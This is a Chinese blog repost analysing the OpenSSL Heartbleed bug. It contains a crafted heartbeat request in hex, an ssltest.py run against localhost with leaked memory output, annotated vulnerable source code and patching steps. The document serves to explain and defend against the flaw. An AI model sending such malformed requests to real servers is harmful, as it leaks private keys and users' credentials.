Chinaunix首页 | 论坛 | 博客
  • 博客访问: 680436
  • 博文数量: 404
  • 博客积分: 10
  • 博客等级: 民兵
  • 技术积分: 1237
  • 用 户 组: 普通用户
  • 注册时间: 2011-03-03 10:45
文章分类

全部博文(404)

文章存档

2017年(1)

2016年(27)

2015年(39)

2014年(55)

2013年(66)

2012年(216)

分类: 网络与安全

2014-04-18 21:24:56

原文地址:OpenSSL心血漏洞 作者:windhawkgyang

     近日闹的沸沸扬扬的Heartbleed漏洞,仿佛一下子再次将人们拉回了对网络安全的关注和担忧。越来越发达的网络在为我们提供方便工作生活的同时,也越来越深入地参与进了我们的真实世界,越来越与我们的切身利益紧密相连。网络安全的核心价值在于信息的保全,主要威胁也是信息的泄露和滥用。今天我们来简单看一看这个引人关注的漏洞。
      OpenSSL官方给出的漏洞警告声明:

     Heartbleed其实是关于Heartbeat实现中的一个漏洞,这主要用于SSL的实现。由于Internet在建立之初没有更多地考虑安全性,因此目前的安全性措施更多地是对原有框架进行修补,比如IPSec,比如SSL,它们的主要目的都是为网络通信提供保密性和完整性、认证性服务。SSL是在传输层和应用层之间,主要用于基于公钥的身份认证和基于私钥的密文传输。其最广泛的就是Web应用,其次在IM、Email、在线支付等所有需要保密、完整、认证需求的领域均有应用,而OpenSSL则是SSL的一个免费开源的实现。接下来的分析主要基于自己在网络上搜集整理的信息。
    SSL的工作原理:

     
测试验证
     到这里我们可以大致了解这个漏洞的作用过程了,那么接下来我们来实际测试一下,看看结果:
1. 构造恶意请求包:
HeartBeat Requst包
hb = h2bin(”’
18 03 02 00 03
01 20 00
”’)
     其中蓝色的01表示该包类型为Heartbeat_Request,后面的两个字节表示数据长度,换成十进制就是8192;
2. 服务端回应Heartbeat Request包:
[root@server]# python ssltest.py 127.0.0.1 -p 9876 > 1
Sending heartbeat request…
… received message: type = 24, ver = 0302, length = 8211
Received heartbeat response:
WARNING: server returned more data than it should – server is vulnerable!
Received heartbeat response:
0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
     这里的蓝色依旧是回应包的类型标志,后面两个字节是数据长度,绿色部分中就包含了泄露的内存数据。

源码分析
    接下来我们来看看这个漏洞发生的源码,该漏洞主要存在于OpenSLL的源文件ssl/d1_both.c和t1_lib.c中的心跳处理函数dtls1_process_heartbeat和tls_process_heartbeat两个函数中,下面我们以dtls1_process_heart为例进行一下分析:

点击(此处)折叠或打开

  1. #ifndef OPENSSL_NO_HEARTBEATS
  2. int
  3. dtls1_process_heartbeat(SSL *s)
  4.     {
  5.     unsigned char *p = &s->s3->rrec.data[0], *pl;     //从收到的SSL的心跳请求包中提取数据部分
  6.     unsigned short hbtype;
  7.     unsigned int payload;        
  8.     unsigned int padding = 16; /* Use minimum padding */

  9.     /* Read type and payload length first */
  10.     hbtype = *p++;                                                  //读取数据部分头部的包类型和数据长度(payload)
  11.     n2s(p, payload);
  12.     pl = p;

  13.     if (s->msg_callback)
  14.         s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
  15.             &s->s3->rrec.data[0], s->s3->rrec.length,
  16.             s, s->msg_callback_arg);

  17.     if (hbtype == TLS1_HB_REQUEST)
  18.         {
  19.         unsigned char *buffer, *bp;
  20.         int r;

  21.         /* Allocate memory for the response, size is 1 byte
  22.          * message type, plus 2 bytes payload length, plus
  23.          * payload, plus padding
  24.          */
  25.         buffer = OPENSSL_malloc(1 + 2 + payload + padding);                                    //按照请求包中的length字段值分配堆空间大小
  26.         bp = buffer;

  27.         /* Enter response type, length and copy payload */
  28.         *bp++ = TLS1_HB_RESPONSE;
  29.         s2n(payload, bp);
  30.         memcpy(bp, pl, payload);                                                                               //将请求包的数据部分拷贝到分配的堆空间,但是注意:真实的数据部分是远远小于length长度的,因此使用memcpy函数会复制相邻空间的内粗你数据,最多64KB
  31.         bp += payload;
  32.         /* Random padding */
  33.         RAND_pseudo_bytes(bp, padding);

  34.         r = dtls1_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

  35.         if (r >= 0 && s->msg_callback)
  36.             s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
  37.                 buffer, 3 + payload + padding,
  38.                 s, s->msg_callback_arg);

  39.         OPENSSL_free(buffer);

  40.         if (r < 0)
  41.             return r;
  42.         }
  43.     else if (hbtype == TLS1_HB_RESPONSE)
  44.         {
  45.         unsigned int seq;

  46.         /* We only send sequence numbers (2 bytes unsigned int),
  47.          * and 16 random bytes, so we just try to read the
  48.          * sequence number */
  49.         n2s(pl, seq);

  50.         if (payload == 18 && seq == s->tlsext_hb_seq)
  51.             {
  52.             dtls1_stop_timer(s);
  53.             s->tlsext_hb_seq++;
  54.             s->tlsext_hb_pending = 0;
  55.             }
  56.         }

  57.     return 0;
  58.     }
      这里的逻辑是这样的,请求包中的数据实际长度远远小于其标明的length长度,Server端根据其标明的length长度分配了堆,然后尝试将请求包中的数据都拷贝过来形成回应包,于是便从内存中的请求包数据处开始复制了length个长度的字节,已经远远超过了数据的实际长度,从而造成数据的泄露。通过这种方式,一般可以得到SSL使用的Server端的私钥,从而获得SSL会话密钥,以及用户的账号等信息。

补救方案     
     问题的修补方案也不难,基本是两条思路:
1. Update:Heartbleed漏洞只影响特定版本的OpenSSL/TLS,因此只需要根据官方的通知进行更新即可;
2. Recomplie:重编译OpenSSL,加上不使用心跳功能的选项参数:-DOPENSSL-NO-HEARTBEATS;
     然后重启WEB服务即可:
# /etc/init.d/apache2 restart
# /etc/init.d/ngnix restart
# /etc/init.d/httpd restart
      还需要重启其他与OpenSSL相关的服务,可以通过lsof | grep libssl | awk '{print $1}' | sourt | uniq查看与OpenSSL相关的服务。



阅读(511) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~